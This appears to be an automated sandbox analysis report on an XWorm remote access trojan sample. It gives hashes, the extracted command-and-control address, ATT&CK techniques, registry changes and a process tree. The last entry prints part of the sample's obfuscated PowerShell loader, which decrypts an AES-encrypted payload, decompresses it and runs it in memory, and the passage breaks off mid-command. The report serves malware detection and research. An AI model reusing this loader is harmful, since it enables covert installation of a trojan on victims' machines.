xworm | 2367f924d3eeb65eac13f2fef2c92ae901605323ae0e3c91b24a8c0717c1829a

Analysis

max time kernel
16s
max time network
33s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
03/09/2024, 16:15

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General

Target

RoWare.exe
Size

472KB
MD5

b63bed7f19631126a453b49d603c74a4
SHA1

abd90b6cbda580c135e1b28b89d4f0027f939225
SHA256

2367f924d3eeb65eac13f2fef2c92ae901605323ae0e3c91b24a8c0717c1829a
SHA512

29aa82c4c201512b4ebacc3ea1725bdb8207fe56ae68c7b7620da9b619b8cf1801fa5488f47863d46c056066eb559a3c0c887c46fd816890c9e9d4a2a32f192d
SSDEEP

12288:Qy90sdnp4C4BytE9WlGKfmQgNsP/N6aSg5U2D:Qy1dpF44osGKfmQEwOg5h

Score

10^/10

xworm defense_evasion execution persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

xworm

91.92.250.4:2709

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3548-190-0x00000298F4B80000-0x00000298F4B94000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Boot or Logon Autostart Execution: Active Setup 2 TTPs 5 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}	ie4uinit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled = "1"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\Locale = "*"	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\Version = "11,0,15063,0"	ie4uinit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3548	powershell.exe
4204	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	ComputerDefaults.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 1 IoCs

pid	Process
4104	ComputerDefaults.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	RoWare.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\win.ini	unregmp2.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Capabilities\Hidden = "0"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	ie4uinit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListTTL = "0"	ie4uinit.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\Main	ie4uinit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "12"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Capabilities	ie4uinit.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.3gp2\OpenWithProgids\WMP11.AssocFile.3G2 = "0"	unregmp2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.m4v\ = "WMP11.AssocFile.MP4"	unregmp2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.mov\MP2.Last = "Custom"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Play	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play\NeverDefault	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.WMD\OpenWithProgIds\WMP11.AssocFile.WMD = "0"	unregmp2.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.wmv\OpenWithProgids\WMP11.AssocFile.WMV = "0"	unregmp2.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.Website\shellex\{00021500-0000-0000-C000-000000000046}	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetShortcut\ShellEx\PropertySheetHandlers\{FBF23B40-E3F0-101B-8488-00AA003E56F8}	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\telnet	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.avi\MPlayer2.BAK = "VLC.avi"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.snd\OpenWithProgIds\WMP11.AssocFile.AU = "0"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell\open\MUIVerb = "@C:\\Windows\\system32\\ieframe.dll,-5732"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Enqueue	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.wvx	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\command\ = "\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" %1"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\open\CommandId = "IE.File"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\command\DelegateExecute = "{17FE9752-0B5A-4665-84CD-569794602F5C}"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\telnet\FriendlyTypeName = "@C:\\Windows\\system32\\ieframe.dll,-907"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cda	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AudioCD\shell\play\ = "&Play"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Microsoft.Website\DefaultIcon	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.svg\OpenWithProgIds	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/msvideo\Extension = ".avi"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\open\MUIVerb = "@C:\\Windows\\system32\\ieframe.dll,-5732"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command	ie4uinit.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.m2t\OpenWithProgids\WMP11.AssocFile.M2TS = "0"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/mid\CLSID = "{cd3afa74-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/mp3\CLSID = "{cd3afa76-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/vnd.dlna.mpeg-tts\CLSID = "{cd3afa9b-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-mpeg2a	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{17FC1A80-140E-4290-A64F-4A29A951A867}\ = "Open Media Sharing Handler"	unregmp2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.3g2\MP2.Last = "Custom"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.au\ = "WMP11.AssocFile.AU"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/x-ms-wax\CLSID = "{cd3afa83-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tn3270	ie4uinit.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\https\EditFlags = "2"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell\open\command\ = "\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" %1"	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell\printto\command	ie4uinit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\.wmv\ = "WMP11.AssocFile.WMV"	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\PreferExecuteOnMismatch = "1"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/wav\CLSID = "{cd3afa7b-b84f-48f0-9393-7edc34128127}"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.WTV\MP2.Last = "Custom"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.aifc	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/avi	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ftp\DefaultIcon	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\http\shell\open	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.MK3D\PerceivedType = "video"	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.svg\OpenWithProgIds\svgfile	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command\ = "\"C:\\Windows\\system32\\rundll32.exe\" \"C:\\Windows\\system32\\mshtml.dll\",PrintHTML \"%1\" \"%2\" \"%3\" \"%4\""	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\InternetShortcut\shell\Open\command	ie4uinit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{17FC1A80-140E-4290-A64F-4A29A951A867}	unregmp2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\.aifc\OpenWithProgIds\WMP11.AssocFile.AIFF = "0"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-ms-wmd	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/3gpp\Extension = ".3gp"	unregmp2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WMP.AudioCD\Shell\Play\Command	unregmp2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ftp\shell\open\command\ = "\"C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE\" %1"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\MUIVerb = "@C:\\Windows\\system32\\ieframe.dll,-5731"	ie4uinit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.au\MP2.Last = "Custom"	unregmp2.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3516	powershell.exe
3516	powershell.exe
3516	powershell.exe
4204	powershell.exe
4204	powershell.exe
4204	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe
3548	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3316	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeIncreaseQuotaPrivilege	3516	powershell.exe
Token: SeSecurityPrivilege	3516	powershell.exe
Token: SeTakeOwnershipPrivilege	3516	powershell.exe
Token: SeLoadDriverPrivilege	3516	powershell.exe
Token: SeSystemProfilePrivilege	3516	powershell.exe
Token: SeSystemtimePrivilege	3516	powershell.exe
Token: SeProfSingleProcessPrivilege	3516	powershell.exe
Token: SeIncBasePriorityPrivilege	3516	powershell.exe
Token: SeCreatePagefilePrivilege	3516	powershell.exe
Token: SeBackupPrivilege	3516	powershell.exe
Token: SeRestorePrivilege	3516	powershell.exe
Token: SeShutdownPrivilege	3516	powershell.exe
Token: SeDebugPrivilege	3516	powershell.exe
Token: SeSystemEnvironmentPrivilege	3516	powershell.exe
Token: SeRemoteShutdownPrivilege	3516	powershell.exe
Token: SeUndockPrivilege	3516	powershell.exe
Token: SeManageVolumePrivilege	3516	powershell.exe
Token: 33	3516	powershell.exe
Token: 34	3516	powershell.exe
Token: 35	3516	powershell.exe
Token: 36	3516	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeIncreaseQuotaPrivilege	4204	powershell.exe
Token: SeSecurityPrivilege	4204	powershell.exe
Token: SeTakeOwnershipPrivilege	4204	powershell.exe
Token: SeLoadDriverPrivilege	4204	powershell.exe
Token: SeSystemProfilePrivilege	4204	powershell.exe
Token: SeSystemtimePrivilege	4204	powershell.exe
Token: SeProfSingleProcessPrivilege	4204	powershell.exe
Token: SeIncBasePriorityPrivilege	4204	powershell.exe
Token: SeCreatePagefilePrivilege	4204	powershell.exe
Token: SeBackupPrivilege	4204	powershell.exe
Token: SeRestorePrivilege	4204	powershell.exe
Token: SeShutdownPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeSystemEnvironmentPrivilege	4204	powershell.exe
Token: SeRemoteShutdownPrivilege	4204	powershell.exe
Token: SeUndockPrivilege	4204	powershell.exe
Token: SeManageVolumePrivilege	4204	powershell.exe
Token: 33	4204	powershell.exe
Token: 34	4204	powershell.exe
Token: 35	4204	powershell.exe
Token: 36	4204	powershell.exe
Token: SeIncreaseQuotaPrivilege	4204	powershell.exe
Token: SeSecurityPrivilege	4204	powershell.exe
Token: SeTakeOwnershipPrivilege	4204	powershell.exe
Token: SeLoadDriverPrivilege	4204	powershell.exe
Token: SeSystemProfilePrivilege	4204	powershell.exe
Token: SeSystemtimePrivilege	4204	powershell.exe
Token: SeProfSingleProcessPrivilege	4204	powershell.exe
Token: SeIncBasePriorityPrivilege	4204	powershell.exe
Token: SeCreatePagefilePrivilege	4204	powershell.exe
Token: SeBackupPrivilege	4204	powershell.exe
Token: SeRestorePrivilege	4204	powershell.exe
Token: SeShutdownPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeSystemEnvironmentPrivilege	4204	powershell.exe
Token: SeRemoteShutdownPrivilege	4204	powershell.exe
Token: SeUndockPrivilege	4204	powershell.exe
Token: SeManageVolumePrivilege	4204	powershell.exe
Token: 33	4204	powershell.exe
Token: 34	4204	powershell.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
4104	ComputerDefaults.exe
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE
3316	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4192 wrote to memory of 5104	4192	RoWare.exe	72
PID 4192 wrote to memory of 5104	4192	RoWare.exe	72
PID 5104 wrote to memory of 4620	5104	cmd.exe	74
PID 5104 wrote to memory of 4620	5104	cmd.exe	74
PID 5104 wrote to memory of 192	5104	cmd.exe	75
PID 5104 wrote to memory of 192	5104	cmd.exe	75
PID 5104 wrote to memory of 3548	5104	cmd.exe	76
PID 5104 wrote to memory of 3548	5104	cmd.exe	76
PID 3548 wrote to memory of 2092	3548	powershell.exe	77
PID 3548 wrote to memory of 2092	3548	powershell.exe	77
PID 2092 wrote to memory of 4104	2092	cmd.exe	79
PID 2092 wrote to memory of 4104	2092	cmd.exe	79
PID 3548 wrote to memory of 1792	3548	powershell.exe	80
PID 3548 wrote to memory of 1792	3548	powershell.exe	80
PID 3548 wrote to memory of 3516	3548	powershell.exe	82
PID 3548 wrote to memory of 3516	3548	powershell.exe	82
PID 3548 wrote to memory of 4204	3548	powershell.exe	85
PID 3548 wrote to memory of 4204	3548	powershell.exe	85
PID 4104 wrote to memory of 2480	4104	ComputerDefaults.exe	86
PID 4104 wrote to memory of 2480	4104	ComputerDefaults.exe	86
PID 4104 wrote to memory of 3180	4104	ComputerDefaults.exe	88
PID 4104 wrote to memory of 3180	4104	ComputerDefaults.exe	88
PID 3548 wrote to memory of 3316	3548	powershell.exe	54
PID 3548 wrote to memory of 1772	3548	powershell.exe	34
PID 3548 wrote to memory of 392	3548	powershell.exe	17
PID 3548 wrote to memory of 1572	3548	powershell.exe	30
PID 3548 wrote to memory of 1232	3548	powershell.exe	23
PID 3548 wrote to memory of 2348	3548	powershell.exe	41
PID 3548 wrote to memory of 1756	3548	powershell.exe	33
PID 3548 wrote to memory of 2936	3548	powershell.exe	50
PID 3548 wrote to memory of 2340	3548	powershell.exe	40
PID 3548 wrote to memory of 360	3548	powershell.exe	15
PID 3548 wrote to memory of 4692	3548	powershell.exe	62
PID 3548 wrote to memory of 1532	3548	powershell.exe	29
PID 3548 wrote to memory of 1728	3548	powershell.exe	32
PID 3548 wrote to memory of 2316	3548	powershell.exe	39
PID 3548 wrote to memory of 1508	3548	powershell.exe	28
PID 3548 wrote to memory of 4868	3548	powershell.exe	60
PID 3548 wrote to memory of 1120	3548	powershell.exe	20
PID 3548 wrote to memory of 2892	3548	powershell.exe	48
PID 3548 wrote to memory of 720	3548	powershell.exe	8
PID 3548 wrote to memory of 2488	3548	powershell.exe	47
PID 3548 wrote to memory of 904	3548	powershell.exe	13
PID 3548 wrote to memory of 2676	3548	powershell.exe	52
PID 3548 wrote to memory of 508	3548	powershell.exe	63
PID 3548 wrote to memory of 2464	3548	powershell.exe	46
PID 3548 wrote to memory of 1872	3548	powershell.exe	36
PID 3548 wrote to memory of 1080	3548	powershell.exe	19
PID 3548 wrote to memory of 4468	3548	powershell.exe	65
PID 3548 wrote to memory of 2452	3548	powershell.exe	45
PID 3548 wrote to memory of 1860	3548	powershell.exe	35
PID 3548 wrote to memory of 1464	3548	powershell.exe	27
PID 3548 wrote to memory of 1068	3548	powershell.exe	18
PID 3548 wrote to memory of 1260	3548	powershell.exe	24
PID 3548 wrote to memory of 1648	3548	powershell.exe	31
PID 3548 wrote to memory of 856	3548	powershell.exe	12
PID 3548 wrote to memory of 1444	3548	powershell.exe	26
PID 3548 wrote to memory of 2404	3548	powershell.exe	43
PID 3548 wrote to memory of 1676	3548	powershell.exe	38
PID 3548 wrote to memory of 1212	3548	powershell.exe	22
PID 3548 wrote to memory of 2388	3548	powershell.exe	42
PID 3548 wrote to memory of 808	3548	powershell.exe	11
PID 3548 wrote to memory of 1196	3548	powershell.exe	21
PID 3548 wrote to memory of 604	3548	powershell.exe	16

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
1⤵
PID:808

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k rpcss
1⤵
PID:856

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:904

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:604

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
1⤵
PID:1068

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1120

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1196

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1232

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1260

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1384

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1444

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1508

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1532

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1648

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1772

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1860

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1872

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1676

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2316

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2340

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2404

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2452

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2488

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2892

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2936

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:2676

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:3316
- C:\Users\Admin\AppData\Local\Temp\RoWare.exe
  "C:\Users\Admin\AppData\Local\Temp\RoWare.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "RoWare.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      4⤵
      PID:4620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jiNE3E2FLDv+NKiKFH8uo69QT6nLdIqdGCpMMEmvmwY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2SAi3wOvnkUFLRYxrM1Aug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bjuhq=New-Object System.IO.MemoryStream(,$param_var); $lHqpc=New-Object System.IO.MemoryStream; $ZhWoP=New-Object System.IO.Compression.GZipStream($bjuhq, [IO.Compression.CompressionMode]::Decompress); $ZhWoP.CopyTo($lHqpc); $ZhWoP.Dispose(); $bjuhq.Dispose(); $lHqpc.Dispose(); $lHqpc.ToArray();}function execute_function($param_var,$param2_var){ $DjkcC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpQof=$DjkcC.EntryPoint; $tpQof.Invoke($null, $param2_var);}$adpqO = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RoWare.bat';$host.UI.RawUI.WindowTitle = $adpqO;$cSfZG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($adpqO).Split([Environment]::NewLine);foreach ($zHjor in $cSfZG) { if ($zHjor.StartsWith('dxmcSvpkIMoaFKFAdSEr')) { $kULPw=$zHjor.Substring(20); break; }}$payloads_var=[string[]]$kULPw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', 